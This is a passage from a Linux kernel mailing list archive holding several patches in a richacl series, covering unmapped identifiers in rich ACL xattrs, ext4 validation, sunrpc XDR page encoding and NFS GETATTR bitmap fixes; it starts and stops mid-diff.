GFP_NOFS); if (!acl) return ERR_PTR(-ENOMEM); @@ -63,6 +65,16 @@ richacl_from_xattr(struct user_namespace *user_ns, if (acl->a_other_mask & ~RICHACE_VALID_MASK) goto fail_einval; + unmapped = (char *)(acl->a_entries + count); + if (size) { + char *xattr_unmapped = (char *)(xattr_ace + count); + + if (xattr_unmapped[size - 1] != 0) + goto fail_einval; + memcpy(unmapped, xattr_unmapped, size); + } + offset = 0; + richacl_for_each_entry(ace, acl) { ace->e_type = le16_to_cpu(xattr_ace->e_type); ace->e_flags = le16_to_cpu(xattr_ace->e_flags); @@ -74,6 +86,15 @@ richacl_from_xattr(struct user_namespace *user_ns, ace->e_id.special = le32_to_cpu(xattr_ace->e_id); if (ace->e_id.special > RICHACE_EVERYONE_SPECIAL_ID) goto fail_einval; + } else if (ace->e_flags & RICHACE_UNMAPPED_WHO) { + size_t sz; + + if (offset == size) + goto fail_einval; + ace->e_id.offs = offset; + sz = strlen(unmapped) + 1; + unmapped += sz; + offset += sz; } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { u32 id = le32_to_cpu(xattr_ace->e_id); @@ -90,10 +111,12 @@ richacl_from_xattr(struct user_namespace *user_ns, if (ace->e_type > RICHACE_ACCESS_DENIED_ACE_TYPE || (ace->e_mask & ~RICHACE_VALID_MASK)) goto fail_einval; - xattr_ace++; } + if (offset != size) + goto fail_einval; + return acl; fail_einval: @@ -109,8 +132,15 @@ size_t richacl_xattr_size(const struct richacl *acl) { size_t size = sizeof(struct richacl_xattr); + const struct richace *ace; size += sizeof(struct richace_xattr) * acl->a_count; + richacl_for_each_entry(ace, acl) { + const char *unmapped = richace_unmapped_identifier(ace, acl); + + if (unmapped) + size += strlen(unmapped) + 1; + } return size; } EXPORT_SYMBOL_GPL(richacl_xattr_size); @@ -129,6 +159,7 @@ richacl_to_xattr(struct user_namespace *user_ns, struct richace_xattr *xattr_ace; const struct richace *ace; size_t real_size; + char *xattr_unmapped; real_size = richacl_xattr_size(acl); if (!buffer) @@ -145,18 +176,33 @@ richacl_to_xattr(struct user_namespace *user_ns, xattr_acl->a_other_mask = cpu_to_le32(acl->a_other_mask); xattr_ace = (void *)(xattr_acl + 1); + xattr_unmapped = (char *)(xattr_ace + acl->a_count); richacl_for_each_entry(ace, acl) { + const char *who; + xattr_ace->e_type = cpu_to_le16(ace->e_type); xattr_ace->e_flags = cpu_to_le16(ace->e_flags); xattr_ace->e_mask = cpu_to_le32(ace->e_mask); if (ace->e_flags & RICHACE_SPECIAL_WHO) xattr_ace->e_id = cpu_to_le32(ace->e_id.special); - else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) - xattr_ace->e_id = - cpu_to_le32(from_kgid(user_ns, ace->e_id.gid)); - else - xattr_ace->e_id = - cpu_to_le32(from_kuid(user_ns, ace->e_id.uid)); + else { + who = richace_unmapped_identifier(ace, acl); + if (who) { + size_t sz = strlen(who) + 1; + + xattr_ace->e_id = 0; + memcpy(xattr_unmapped, who, sz); + xattr_unmapped += sz; + } else if (ace->e_flags & RICHACE_IDENTIFIER_GROUP) { + u32 id = from_kgid(user_ns, ace->e_id.gid); + + xattr_ace->e_id = cpu_to_le32(id); + } else { + u32 id = from_kuid(user_ns, ace->e_id.uid); + + xattr_ace->e_id = cpu_to_le32(id); + } + } xattr_ace++; } return real_size; @@ -262,7 +308,8 @@ static void richacl_fix_xattr_userns( return; count = size / sizeof(*xattr_ace); for (; count; count--, xattr_ace++) { - if (xattr_ace->e_flags & cpu_to_le16(RICHACE_SPECIAL_WHO)) + if (xattr_ace->e_flags & cpu_to_le16(RICHACE_SPECIAL_WHO | + RICHACE_UNMAPPED_WHO)) continue; if (xattr_ace->e_flags & cpu_to_le16(RICHACE_IDENTIFIER_GROUP)) { diff --git a/include/linux/richacl.h b/include/linux/richacl.h index 708926f..95f22e5 100644 --- a/include/linux/richacl.h +++ b/include/linux/richacl.h @@ -29,6 +29,7 @@ struct richace { kuid_t uid; kgid_t gid; unsigned int special; + unsigned short offs; /* unmapped offset */ } e_id; }; @@ -39,6 +40,7 @@ struct richacl { unsigned int a_other_mask; unsigned short a_count; unsigned short a_flags; + unsigned short a_unmapped_size; struct richace a_entries[0]; }; @@ -77,6 +79,7 @@ struct richacl { #define RICHACE_INHERIT_ONLY_ACE 0x0008 #define RICHACE_IDENTIFIER_GROUP 0x0040 #define RICHACE_INHERITED_ACE 0x0080 +#define RICHACE_UNMAPPED_WHO 0x2000 #define RICHACE_SPECIAL_WHO 0x4000 #define RICHACE_VALID_FLAGS ( \ @@ -86,6 +89,7 @@ struct richacl { RICHACE_INHERIT_ONLY_ACE | \ RICHACE_IDENTIFIER_GROUP | \ RICHACE_INHERITED_ACE | \ + RICHACE_UNMAPPED_WHO | \ RICHACE_SPECIAL_WHO) #define RICHACE_INHERITANCE_FLAGS ( \ @@ -310,14 +314,28 @@ richace_is_deny(const struct richace *ace) * richace_is_same_identifier - are both identifiers the same? */ static inline bool -richace_is_same_identifier(const struct richace *a, const struct richace *b) +richace_is_same_identifier(const struct richacl *acl, + const struct richace *ace1, + const struct richace *ace2) { - return !((a->e_flags ^ b->e_flags) & - (RICHACE_SPECIAL_WHO | RICHACE_IDENTIFIER_GROUP)) && - !memcmp(&a->e_id, &b->e_id, sizeof(a->e_id)); + const char *unmapped = (char *)(acl->a_entries + acl->a_count); + + return !((ace1->e_flags ^ ace2->e_flags) & + (RICHACE_SPECIAL_WHO | + RICHACE_IDENTIFIER_GROUP | + RICHACE_UNMAPPED_WHO)) && + ((ace1->e_flags & RICHACE_UNMAPPED_WHO) ? + !strcmp(unmapped + ace1->e_id.offs, + unmapped + ace2->e_id.offs) : + !memcmp(&ace1->e_id, &ace2->e_id, sizeof(ace1->e_id))); +} + +extern struct richacl *__richacl_alloc(unsigned int, size_t, gfp_t); +static inline struct richacl *richacl_alloc(unsigned int count, gfp_t gfp) +{ + return __richacl_alloc(count, 0, gfp); } -extern struct richacl *richacl_alloc(int, gfp_t); extern struct richacl *richacl_clone(const struct richacl *, gfp_t); extern void richace_copy(struct richace *, const struct richace *); extern int richacl_masks_to_mode(const struct richacl *); @@ -327,6 +345,11 @@ extern void richacl_compute_max_masks(struct richacl *); extern struct richacl *__richacl_chmod(struct richacl *, umode_t); extern int richacl_equiv_mode(const struct richacl *, umode_t *); extern struct richacl *richacl_inherit(const struct richacl *, int); +extern int richacl_add_unmapped_identifier(struct richacl **, struct richace **, + const char *, unsigned int, gfp_t); +extern const char *richace_unmapped_identifier(const struct richace *, + const struct richacl *); +extern bool richacl_has_unmapped_identifiers(struct richacl *); /* richacl_inode.c */ extern int richacl_permission(struct inode *, const struct richacl *, int); -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:03:43 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 62EFA29E0E for ; Sun, 11 Oct 2015 18:03:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4493D304048 for ; Sun, 11 Oct 2015 16:03:43 -0700 (PDT) X-ASG-Debug-ID: 1444604622-04cbb05fbf3d6f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Sw4P9ogsx4HihMuT (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:03:42 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id AE7B4C0C1B18; Sun, 11 Oct 2015 23:03:41 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx373016614; Sun, 11 Oct 2015 19:03:35 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 39/46] ext4: Don't allow unmapped identifiers in richacls Date: Mon, 12 Oct 2015 00:58:50 +0200 X-ASG-Orig-Subj: [PATCH v10 39/46] ext4: Don't allow unmapped identifiers in richacls Message-Id: <1444604337-17651-40-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604622 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Don't allow acls which contain unmapped identifiers: they are meaningful for remote file systems only. Signed-off-by: Andreas Gruenbacher --- fs/ext4/richacl.c | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/fs/ext4/richacl.c b/fs/ext4/richacl.c index b46ac60..2581117 100644 --- a/fs/ext4/richacl.c +++ b/fs/ext4/richacl.c @@ -62,6 +62,10 @@ __ext4_set_richacl(handle_t *handle, struct inode *inode, struct richacl *acl) int retval; if (acl) { + /* Don't allow acls with unmapped identifiers. */ + if (richacl_has_unmapped_identifiers(acl)) + return -EINVAL; + if (richacl_equiv_mode(acl, &mode) == 0) { inode->i_ctime = ext4_current_time(inode); inode->i_mode = mode; -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:03:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 238DF29DFA for ; Sun, 11 Oct 2015 18:03:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 13F9A304053 for ; Sun, 11 Oct 2015 16:03:50 -0700 (PDT) X-ASG-Debug-ID: 1444604628-04cbb05fbf3d700001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id mug3T5SsW84BHVBB (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:03:49 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 79F1E2653; Sun, 11 Oct 2015 23:03:48 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx374016614; Sun, 11 Oct 2015 19:03:42 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 40/46] sunrpc: Allow to demand-allocate pages to encode into Date: Mon, 12 Oct 2015 00:58:51 +0200 X-ASG-Orig-Subj: [PATCH v10 40/46] sunrpc: Allow to demand-allocate pages to encode into Message-Id: <1444604337-17651-41-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604629 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher When encoding large, variable-length objects such as acls into xdr_bufs, it is easier to allocate buffer pages on demand rather than precomputing the required buffer size. Signed-off-by: Andreas Gruenbacher --- net/sunrpc/xdr.c | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/net/sunrpc/xdr.c b/net/sunrpc/xdr.c index 4439ac4..63c1c36 100644 --- a/net/sunrpc/xdr.c +++ b/net/sunrpc/xdr.c @@ -537,6 +537,15 @@ static __be32 *xdr_get_next_encode_buffer(struct xdr_stream *xdr, */ xdr->scratch.iov_base = xdr->p; xdr->scratch.iov_len = frag1bytes; + + if (!*xdr->page_ptr) { + struct page *page = alloc_page(GFP_NOFS); + + if (!page) + return NULL; + *xdr->page_ptr = page; + } + p = page_address(*xdr->page_ptr); /* * Note this is where the next encode will start after we've -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:03:58 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7221E7F56 for ; Sun, 11 Oct 2015 18:03:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 44E65304039 for ; Sun, 11 Oct 2015 16:03:58 -0700 (PDT) X-ASG-Debug-ID: 1444604637-04bdf020dca1c20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id RDXLtROgjLTelHjC (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:03:57 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id EDB3D341ACA; Sun, 11 Oct 2015 23:03:56 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx375016614; Sun, 11 Oct 2015 19:03:49 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 41/46] sunrpc: Add xdr_init_encode_pages Date: Mon, 12 Oct 2015 00:58:52 +0200 X-ASG-Orig-Subj: [PATCH v10 41/46] sunrpc: Add xdr_init_encode_pages Message-Id: <1444604337-17651-42-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604637 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Initialize xdr_stream and xdr_buf from a pages array, for encoding into the pages. Signed-off-by: Andreas Gruenbacher --- include/linux/sunrpc/xdr.h | 2 ++ net/sunrpc/xdr.c | 25 +++++++++++++++++++++++++ 2 files changed, 27 insertions(+) diff --git a/include/linux/sunrpc/xdr.h b/include/linux/sunrpc/xdr.h index 70c6b92..2c99cff 100644 --- a/include/linux/sunrpc/xdr.h +++ b/include/linux/sunrpc/xdr.h @@ -214,6 +214,8 @@ typedef void (*kxdreproc_t)(void *rqstp, struct xdr_stream *xdr, void *obj); typedef int (*kxdrdproc_t)(void *rqstp, struct xdr_stream *xdr, void *obj); extern void xdr_init_encode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p); +extern void xdr_init_encode_pages(struct xdr_stream *xdr, struct xdr_buf *buf, + struct page **pages, unsigned int len); extern __be32 *xdr_reserve_space(struct xdr_stream *xdr, size_t nbytes); extern void xdr_commit_encode(struct xdr_stream *xdr); extern void xdr_truncate_encode(struct xdr_stream *xdr, size_t len); diff --git a/net/sunrpc/xdr.c b/net/sunrpc/xdr.c index 63c1c36..f97b96b 100644 --- a/net/sunrpc/xdr.c +++ b/net/sunrpc/xdr.c @@ -483,6 +483,31 @@ void xdr_init_encode(struct xdr_stream *xdr, struct xdr_buf *buf, __be32 *p) EXPORT_SYMBOL_GPL(xdr_init_encode); /** + * xdr_init_encode_pages - Initialize struct xdr_stream for encoding into pages + * @xdr: pointer to xdr_stream struct + * @buf: pointer to XDR buffer in which to encode data + * @pages: pages array in which to encode + * @len: maximum length of @buf + * + * Initialize @xdr and @buf for encoding into the @pages array. If a + * page in @pages is NULL, it will be allocated on demand. + */ +void xdr_init_encode_pages(struct xdr_stream *xdr, struct xdr_buf *buf, + struct page **pages, unsigned int len) +{ + memset(buf, 0, sizeof(*buf)); + buf->pages = pages; + buf->page_len = len; + buf->buflen = len; + + memset(xdr, 0, sizeof(*xdr)); + xdr->buf = buf; + xdr->iov = buf->head; + xdr->page_ptr = pages - 1; +} +EXPORT_SYMBOL_GPL(xdr_init_encode_pages); + +/** * xdr_commit_encode - Ensure all data is written to buffer * @xdr: pointer to xdr_stream * -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:04:05 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 124407FA1 for ; Sun, 11 Oct 2015 18:04:05 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id CF9A7304039 for ; Sun, 11 Oct 2015 16:04:04 -0700 (PDT) X-ASG-Debug-ID: 1444604643-04bdf020daa1c20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6kl5bTKIbAUZqTvZ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:04:03 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 6B5B18F2E4; Sun, 11 Oct 2015 23:04:03 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx376016614; Sun, 11 Oct 2015 19:03:57 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 42/46] nfs: Fix GETATTR bitmap verification Date: Mon, 12 Oct 2015 00:58:53 +0200 X-ASG-Orig-Subj: [PATCH v10 42/46] nfs: Fix GETATTR bitmap verification Message-Id: <1444604337-17651-43-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604643 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher When decoding GETATTR replies, the client checks the attribute bitmap for which attributes the server has sent. It misses bits at the word boundaries, though; fix that. Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4xdr.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index 788adf3..6f6d921 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -4375,6 +4375,11 @@ static int decode_statfs(struct xdr_stream *xdr, struct nfs_fsstat *fsstat) goto xdr_error; if ((status = decode_attr_files_total(xdr, bitmap, &fsstat->tfiles)) != 0) goto xdr_error; + + status = -EIO; + if (unlikely(bitmap[0])) + goto xdr_error; + if ((status = decode_attr_space_avail(xdr, bitmap, &fsstat->abytes)) != 0) goto xdr_error; if ((status = decode_attr_space_free(xdr, bitmap, &fsstat->fbytes)) != 0) @@ -4574,6 +4579,10 @@ static int decode_getfattr_attrs(struct xdr_stream *xdr, uint32_t *bitmap, goto xdr_error; fattr->valid |= status; + status = -EIO; + if (unlikely(bitmap[0])) + goto xdr_error; + status = decode_attr_mode(xdr, bitmap, &fmode); if (status < 0) goto xdr_error; @@ -4627,6 +4636,10 @@ static int decode_getfattr_attrs(struct xdr_stream *xdr, uint32_t *bitmap, goto xdr_error; fattr->valid |= status; + status = -EIO; + if (unlikely(bitmap[1])) + goto xdr_error; + status = decode_attr_mdsthreshold(xdr, bitmap, fattr->mdsthreshold); if (status < 0) goto xdr_error; @@ -4789,12 +4802,22 @@ static int decode_fsinfo(struct xdr_stream *xdr, struct nfs_fsinfo *fsinfo) if ((status = decode_attr_maxwrite(xdr, bitmap, &fsinfo->wtmax)) != 0) goto xdr_error; fsinfo->wtpref = fsinfo->wtmax; + + status = -EIO; + if (unlikely(bitmap[0])) + goto xdr_error; + status = decode_attr_time_delta(xdr, bitmap, &fsinfo->time_delta); if (status != 0) goto xdr_error; status = decode_attr_pnfstype(xdr, bitmap, &fsinfo->layouttype); if (status != 0) goto xdr_error; + + status = -EIO; + if (unlikely(bitmap[1])) + goto xdr_error; + status = decode_attr_layout_blksize(xdr, bitmap, &fsinfo->blksize); if (status) goto xdr_error; -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 18:04:12 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 56FC629E20 for ; Sun, 11 Oct 2015 18:04:12 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1994A304048 for ; Sun, 11 Oct 2015 16:04:12 -0700 (PDT) X-ASG-Debug-ID: 1444604650-04bdf020dda1c30001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id zf9ParIqr07QbyY5 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 16:04:11 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 9FBD88E6EF; Sun, 11 Oct 2015 23:04:10 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx377016614; Sun, 11 Oct 2015 19:04:04 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 43/46] nfs: Remove unused xdr page offsets in getacl/setacl arguments Date: Mon, 12 Oct 2015 00:58:54 +0200 X-ASG-Orig-Subj: [PATCH v10 43/46] nfs: Remove unused xdr page offsets in getacl/setacl arguments Message-Id: <1444604337-17651-44-git-send-email-andreas.gruenbacher@gmail.com> In-Reply-To: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> References: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604651 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher The arguments passed around for getacl and setacl xdr encoding, struct nfs_setaclargs and struct nfs_getaclargs, both contain an array of pages, an offset into the first page, and the length of the page data. The offset is unused as it is always zero; remove it. Signed-off-by: Andreas Gruenbacher --- fs/nfs/nfs4proc.c | 5 ++--- fs/nfs/nfs4xdr.c | 4 ++-- include/linux/nfs_xdr.h | 2 -- 3 files changed, 4 insertions(+), 7 deletions(-) diff --git a/fs/nfs/nfs4proc.c b/fs/nfs/nfs4proc.c index 5133bb1..eec5c4c 100644 --- a/fs/nfs/nfs4proc.c +++ b/fs/nfs/nfs4proc.c @@ -4530,7 +4530,7 @@ static inline int nfs4_server_supports_acls(struct nfs_server *server) #define NFS4ACL_MAXPAGES DIV_ROUND_UP(XATTR_SIZE_MAX, PAGE_SIZE) static int buf_to_pages_noslab(const void *buf, size_t buflen, - struct page **pages, unsigned int *pgbase) + struct page **pages) { struct page *newpage, **spages; int rc = 0; @@ -4674,7 +4674,6 @@ static ssize_t __nfs4_get_acl_uncached(struct inode *inode, void *buf, size_t bu goto out_free; args.acl_len = npages * PAGE_SIZE; - args.acl_pgbase = 0; dprintk("%s buf %p buflen %zu npages %d args.acl_len %zu\n", __func__, buf, buflen, npages, args.acl_len); @@ -4766,7 +4765,7 @@ static int __nfs4_proc_set_acl(struct inode *inode, const void *buf, size_t bufl return -EOPNOTSUPP; if (npages > ARRAY_SIZE(pages)) return -ERANGE; - i = buf_to_pages_noslab(buf, buflen, arg.acl_pages, &arg.acl_pgbase); + i = buf_to_pages_noslab(buf, buflen, arg.acl_pages); if (i < 0) return i; nfs4_inode_return_delegation(inode); diff --git a/fs/nfs/nfs4xdr.c b/fs/nfs/nfs4xdr.c index 6f6d921..eefed15 100644 --- a/fs/nfs/nfs4xdr.c +++ b/fs/nfs/nfs4xdr.c @@ -1659,7 +1659,7 @@ encode_setacl(struct xdr_stream *xdr, struct nfs_setaclargs *arg, struct compoun *p = 